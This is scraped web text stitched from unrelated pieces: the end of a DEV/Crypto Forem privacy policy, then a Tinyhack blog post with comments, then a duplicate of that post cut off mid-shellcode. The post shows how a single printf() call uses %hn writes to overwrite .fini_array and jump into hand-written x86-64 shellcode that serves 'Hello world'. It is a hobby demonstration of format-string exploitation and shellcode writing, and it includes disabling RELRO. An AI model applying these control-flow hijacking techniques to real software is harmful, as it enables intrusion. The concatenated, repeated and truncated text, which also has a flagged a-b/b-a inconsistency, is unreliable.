and any posts, chats, etc. with other Users and with the general public, including to those who do not use our Services. APIs/SDKs . We may use third-party Application Program Interfaces ("APIs") and Software Development Kits ("SDKs") as part of the functionality of our Services. For more information about our use of APIs and SDKs, please contact us as set forth in the "Contact Us" section below. B . Disclosures to Protect Us or Others We may access, preserve, and disclose any information we store associated with you to external parties if we, in good faith, believe doing so is required or appropriate to: comply with law enforcement or national security requests and legal process, such as a court order or subpoena; protect your, our, or others' rights, property, or safety; enforce our policies or contracts; collect amounts owed to us; or assist with an investigation or prosecution of suspected or actual illegal activity. C. Disclosure in the Event of Merger, Sale, or Other Asset Transfers If we are involved in a merger, acquisition, financing due diligence, reorganization, bankruptcy, receivership, purchase or sale of assets, or transition of service to another provider, your information may be sold or transferred as part of such a transaction, as permitted by law and/or contract. 5. YOUR PRIVACY CHOICES AND RIGHTS Your Privacy Choices . The privacy choices you may have about your personal information are determined by applicable law and are described below. Email Communications . If you receive an unwanted email from us, you can use the unsubscribe link found at the bottom of the email to opt out of receiving future emails. Note that you will continue to receive transaction-related emails regarding products or Services you have requested. We may also send you certain non-promotional communications regarding us and our Services, and you will not be able to opt out of those communications (e.g., communications regarding our Services or updates to our Terms or this Privacy Policy). Mobile Devices . We may send you push notifications through our mobile application. You may opt out from receiving these push notifications by changing the settings on your mobile device. "Do Not Track." Do Not Track (" DNT ") is a privacy preference that users can set in certain web browsers. Please note that we do not respond to or honor DNT signals or similar mechanisms transmitted by web browsers. Cookies and Interest-Based Advertising . You may stop or restrict the placement of Technologies on your device or remove them by adjusting your preferences as your browser or device permits. However, if you adjust your preferences, our Services may not work properly. Please note that cookie-based opt-outs are not effective on mobile applications. Please note you must separately opt out in each browser and on each device. Your Privacy Rights . In accordance with applicable law, you may have the right to: Access Personal Information about you, including: (i) confirming whether we are processing your personal information; (ii) obtaining access to or a copy of your personal information; Request Correction of your personal information where it is inaccurate, incomplete or outdated. In some cases, we may provide self-service tools that enable you to update your personal information; Request Deletion, Anonymization or Blocking of your personal information when processing is based on your consent or when processing is unnecessary, excessive or noncompliant; Request Restriction of or Object to our processing of your personal information when processing is noncompliant; Withdraw Your Consent to our processing of your personal information. If you refrain from providing personal information or withdraw your consent to processing, some features of our Service may not be available; Request Data Portability and Receive an Electronic Copy of Personal Information that You Have Provided to Us; Be Informed about third parties with which your personal information has been shared; and Request the Review of Decisions Taken Exclusively Based on Automated Processing if such decisions could affect your data subject rights. If you would like to exercise any of these rights, please contact us as set forth in "Contact Us" below. We will process such requests in accordance with applicable laws. 6. INTERNATIONAL DATA TRANSFERS All information processed by us may be transferred, processed, and stored anywhere in the world, including, but not limited to, the United States or other countries, which may have data protection laws that are different from the laws where you live. We always strive to safeguard your information consistent with the requirements of applicable laws. 7. RETENTION OF PERSONAL INFORMATION We store the personal information we collect as described in this Privacy Policy for as long as you use our Services or as necessary: to fulfill the purpose or purposes for which it was collected, to provide our Services, to resolve disputes, to establish legal defenses, to conduct audits, to pursue legitimate business purposes, to enforce our agreements, and to comply with applicable laws. 8. SUPPLEMENTAL DISCLOSURES FOR CALIFORNIA RESIDENTS Refer-a-Friend and Similar Incentive Programs . As described above in the How We Use Your Personal Information section ("Share Content with Friends or Colleagues" subsection), we may offer referral programs or other incentivized data collection programs. For example, we may offer incentives to you such as discounts or promotional items or credit in connection with these programs, wherein you provide your personal information in exchange for a reward, or provide personal information regarding your friends or colleagues (such as their email address) and receive rewards when they sign up to use our Services. (The referred party may also receive rewards for signing up via your referral.) These programs are entirely voluntary and allow us to grow our business and provide additional benefits to you. The value of your data to us depends on how you ultimately use our Services, whereas the value of the referred party's data to us depends on whether the referred party ultimately becomes a User or Forem Operator and uses our Services. Said value will be reflected in the incentive offered in connection with each program. Accessibility . This Privacy Policy uses industry-standard technologies and was developed in line with the World Wide Web Consortium's Web Content Accessibility Guidelines, version 2.1* . * If you wish to print this policy, please do so from your web browser or by saving the page as a PDF. California Shine the Light . The California "Shine the Light" law permits users who are California residents to request and obtain from us once a year, free of charge, a list of the third parties to whom we have disclosed their personal information (if any) for their direct marketing purposes in the prior calendar year, as well as the type of personal information disclosed to those parties. Right for Minors to Remove Posted Content . Where required by law, California residents under the age of 18 may request to have their posted content or information removed from the publicly-viewable portions of the Services by contacting us directly as set forth in the "Contact Us" section below or by logging into their account and removing the content or information using our self-service tools. 9. SUPPLEMENTAL NOTICE FOR NEVADA RESIDENTS If you are a resident of Nevada, you have the right to opt-out of the sale of certain Personal Information to third parties who intend to license or sell that Personal Information. You can exercise this right by contacting us as set forth in the "Contact Us\" section below with the subject line "Nevada Do Not Sell Request" and providing us with your name and the email address associated with your account. Please note that we do not currently sell your Personal Information as sales are defined in Nevada Revised Statutes Chapter 603A. If you have any questions, please contact us as set forth below. 10. CHILDREN'S INFORMATION The Services are not directed to children under 13 (or other age as required by local law), and we do not knowingly collect personal information from children. If you are a parent or guardian and believe your child has uploaded personal information to our site without your consent, you may contact us as described in the "Contact Us" section below. If we become aware that a child has provided us with personal information in violation of applicable law, we will delete any personal information we have collected, unless we have a legal obligation to keep it, and terminate the child's account if applicable. 11. OTHER PROVISIONS Third-Party Websites or Applications . The Services may contain links to other websites or applications, and other websites or applications may reference or link to our Services. These third-party services are not controlled by us. We encourage our users to read the privacy policies of each website and application with which they interact. We do not endorse, screen or approve, and are not responsible for, the privacy practices or content of such other websites or applications. Providing personal information to third-party websites or applications is at your own risk. Changes to Our Privacy Policy . We may revise this Privacy Policy from time to time in our sole discretion. If there are any material changes to this Privacy Policy, we will notify you as required by applicable law. You understand and agree that you will be deemed to have accepted the updated Privacy Policy if you continue to use our Services after the new Privacy Policy takes effect. 12. CONTACT US If you have any questions about our privacy practices or this Privacy Policy, or to exercise your rights as detailed in this Privacy Policy, please contact us at: support@dev.to . 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Crypto Forem — A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Crypto Forem © 2016 - 2026. Uniting blockchain builders and thinkers. Log in Create account | 2026-01-13T08:48:55 |
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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23737 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23561#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" 